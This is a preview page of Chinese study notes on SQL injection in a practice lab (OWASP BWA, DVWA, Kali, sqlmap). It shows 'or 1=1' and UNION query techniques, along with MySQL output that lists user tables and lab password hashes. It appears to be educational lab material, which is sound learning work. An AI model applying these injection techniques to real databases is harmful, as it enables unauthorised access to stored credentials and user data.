sql注入-注入漏洞获得数据库数据-kali-sqlmap-运维安全详细笔记
需积分: 5 85 浏览量
2023-06-30
21:18:48
上传
评论
收藏 3.39MB DOCX 举报
sql 注入-通过注入点漏洞获得数据库数据-kali-sqlmap
0.靶机 mysql 登录
# mysql -uroot -powaspbwa
1.sql 注入分类
手动注入和工具自动注入
2.两种重要的 sql 查询
1). or where 1=1 #只能查询该表的一张表
2). union 查询 #可构建联合查询，查询多张表
3.union 联合查询注意
1).前后查询是 sql 语句字段数量必须相同，数字能充当任何字段
1).可显示前面表值也可显示后面表值
3).能使用 union 联合查询猜测前面 sql 语句表的字段多少
4.简单的 sql 注入构建语句
1)使用 or 1=1 来构造语句：
mysql> select * from dvwa.users limit 2;
+---------+------------+-----------+---------+----------------------------------+--------------------------------------------------+
| user_id | first_name | last_name | user | password | avatar |
+---------+------------+-----------+---------+----------------------------------+--------------------------------------------------+
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | http://127.0.0.1/dvwa/hackable/users/admin.jpg |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg |
+---------+------------+-----------+---------+----------------------------------+--------------------------------------------------+
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
Empty set (0.00 sec)
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1 limit 2;
+---------+------------+-----------+
| user_id | first_name | last_name |
+---------+------------+-----------+
| 1 | admin | admin |
| 2 | Gordon | Brown |
+---------+------------+-----------+
2).union 联合查询：前后查询是 sql 语句字段数量必须相同，数字能充当任何字段—可显示前面表值也可后面表值
(1).显示的字段名是前面表的，显示的值也是前面表的
mysql> select user,password from mysql.user limit 2;
+------+-------------------------------------------+
| user | password |
+------+-------------------------------------------+
| root | *73316569DAC7839C2A784FF263F5C0ABBC7086E2 |
| root | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F |
+------+-------------------------------------------+
mysql> select user_login,user_pass from wordpress.wp_users limit 2;
+------------+----------------------------------+
| user_login | user_pass |
剩余26页未读，继续阅读
资源评论
